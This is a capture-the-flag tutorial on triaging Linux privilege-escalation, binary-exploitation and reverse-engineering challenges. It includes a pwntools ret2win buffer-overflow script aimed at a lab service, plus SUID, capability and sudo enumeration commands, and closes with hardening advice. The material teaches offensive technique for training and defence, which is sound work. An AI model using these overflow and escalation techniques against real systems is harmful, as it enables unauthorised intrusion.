#Why this matters
Web and crypto challenges focus on protocols and application layers, whereas linux, pwn, and teskari-muhandislik (reverse engineering) test what happens at the operating-system and machine-code boundary. In real security work, these are the exact skills used to audit undocumented firmware helpers, investigate malware droppers, and verify memory-safety bugs in C or C++ services.
Building on structured note-taking from earlier lessons, specialist triage prevents wasted hours. Instead of opening every file blindly in a debugger or running random commands on a target shell, you identify the artefact type, check its protections, and pick the shortest path to proof.
#Triage workflow across Linux, RE, and Pwn
Spend the first three minutes classifying what the challenge gives you:
teskari-muhandislik(Reverse Engineering): A local binary (often an ELF executable or shared library) with no remote service; recover an embedded secret or satisfy an input check.pwn(Binary Exploitation): A local binary plus ahost:portservice (sometimes withlibc.so.6and the dynamic linker); hijack control flow or memory to read/flag.txt.linux(Linux Host / Privilege Escalation): SSH credentials or a restricted shell on a lab VM; escalate privileges by auditing OS permissions.
- Identifyfile, checksec, or SSH shell
- Staticstrings, readelf, Ghidra decompile
- Dynamicpwndbg breakpoints or sudo/getcap audit
- Automaterepeatable pwntools script and notes
#Reverse engineering: static before dynamic
Never execute an unknown binary on your host before inspecting it. Start with static triage: file shows architecture and whether symbols are stripped, strings surfaces readable prompts, and nm or readelf -s lists unstripped functions.
Next, load the binary into Ghidra. Locate main (or trace cross-references from "Correct" / "Wrong" strings) and read the decompiler view. Intermediate CTF checkers rarely store plaintext flags; they transform input bytes and compare against constants:
int check_key(const char *input) {
unsigned char expected[] = {0x6c, 0x6b, 0x77, 0x62, 0x51, 0x69, 0x68, 0x71};
for (int i = 0; i < 8; i++) {
if ((input[i] ^ 0x25) != expected[i]) {
return 0;
}
}
return 1;
}Trying random inputs dynamically would take forever, yet static inspection solves it in seconds. Because XOR is its own inverse, expected[i] ^ 0x25 recovers the exact 8-character key without guessing. When constraints combine arithmetic, bit shifts, or multiple equations, write a short Python script to invert them rather than stepping instruction by instruction in a debugger.
#Binary exploitation: reading mitigations and memory layout
In pwn tasks, you must understand which defences the compiler and kernel turned on before choosing an exploit strategy. Run file and checksec on the local lab binary first.
$ file ./gatekeeper
./gatekeeper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
$ checksec --file=./gatekeeper
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)Each line in checksec narrows down what is possible:
| Mitigation | What it stops | What it pushes you toward |
|---|---|---|
NX enabled |
Executing shellcode placed on the stack or heap | ret2win, ret2libc, or Return-Oriented Programming (ROP) |
Stack canary |
Silent linear buffer overflow over saved RIP |
Format-string leak, off-by-one, or non-contiguous writes |
PIE enabled |
Hardcoding binary function or gadget addresses | Leaking a code pointer first to compute the base address |
Full RELRO |
Overwriting the Global Offset Table (GOT) | Targeting return addresses, heap hooks, or function pointers |
Here gatekeeper has NX enabled, No canary found, and No PIE. Because PIE is disabled, a helper function like win() keeps a fixed virtual address (for example 0x401196 in nm or Ghidra). Using pwndbg inside GDB, you can generate a De Bruijn cyclic pattern (cyclic 128), feed it to the vulnerable gets() or read() call, and inspect RIP or RSP at the crash with cyclic -l to measure the exact byte offset to the saved return address.
Once the offset is known (say 72 bytes on x86-64), pwntools turns the manual observation into a clean, repeatable script against a local process or an authorised lab socket:
from pwn import *
context.binary = elf = ELF("./gatekeeper", checksec=False)
# Add a single 'ret' gadget before win() if x86-64 movaps stack alignment crashes
offset = 72
payload = b"A" * offset + p64(elf.symbols["win"])
io = remote("lab.local", 1337)
io.sendlineafter(b"Name: ", payload)
print(io.recvall(timeout=2).decode(errors="replace"))If the binary crashes inside system() or printf() on x86-64 even though win() was reached, check 16-byte stack alignment: inserting one ret gadget before win() shifts RSP by 8 bytes and resolves movaps faults.
#Linux host enumeration and privilege boundaries
Linux privilege-escalation challenges mirror common system-administration mistakes. When you land on an authorised lab container or VM, verify who you are and which trust boundaries exist before modifying anything:
$ id
uid=1001(ctfuser) gid=1001(ctfuser) groups=1001(ctfuser)
$ sudo -l
User ctfuser may run the following commands on labhost:
(root) NOPASSWD: /usr/bin/python3 /opt/scripts/cleanup.py
$ getcap -r / 2>/dev/null
/usr/bin/python3.11 cap_setuid=epFocus on four high-signal checks:
sudo -lrules: If a script or interpreter runs asroot, check file permissions on the script and imported modules, plus preserved variables (PYTHONPATH,LD_PRELOAD).- SUID / SGID binaries (
find / -perm -4000 2>/dev/null): Custom SUID binaries run with effective UID0. Relative commands liketarinstead of/usr/bin/tarallowPATHhijacking. - Linux capabilities (
getcap): Capabilities grant discrete root powers without SUID;cap_setuid=epon an interpreter lets it switch UID to0. - Scheduled jobs and services: Cron jobs (
/etc/crontab,/etc/cron.d/) orsystemdunits running asrootthat point to user-writable scripts.
#Defending and common mistakes
On the defence side, modern compilers and Linux hardening stop these classes of compromise when applied consistently:
- Compile C/C++ services with full mitigations: enable stack canaries (
-fstack-protector-strong), PIE (-fPIE -pie), full RELRO (-Wl,-z,relro,-z,now), andFORTIFY_SOURCE, and replace unbounded functions (gets,strcpy,sprintf) with length-checked alternatives. - Minimise host privileges: drop SUID bits, avoid assigning dangerous capabilities (
cap_setuid,cap_dac_override) to interpreters, lock downsudoersentries with exact absolute paths andNOEXECwhere appropriate, and keep cron/service scripts root-owned and non-writable by service accounts.
Common CTF mistakes that derail intermediate solvers:
- Ignoring
PIEor libc version mismatches: an exploit that works locally often fails against the lab server becauselibcoffsets differ; verify the providedlibc.so.6withpwninitorpatchelfinside your lab workspace. - Jumping straight to dynamic debugging: spending 30 minutes single-stepping obfuscated loops in GDB when Ghidra's cross-references and decompiler show the branch condition immediately.
- Forgetting stack alignment on x86-64: assuming an exploit target address is wrong when adding one
retgadget fixes amovapsalignment crash.
#Summary
- Classify
linux,pwn, andteskari-muhandisliktasks in the first three minutes usingfile,checksec, and role context before choosing tools. - Use static analysis (
strings,readelf, Ghidra) to map logic and solve input checks mathematically before running unknown binaries. - Read
NX,Stack canary,PIE, andRELROtogether to decide whether you need a leak, aret2win/ROP chain, or a GOT target, and automate payloads withpwndbg+pwntools. - Audit Linux hosts systematically via
id,sudo -l, SUID files,getcap, and scheduled jobs, and harden production systems with full compiler protections and strict least privilege.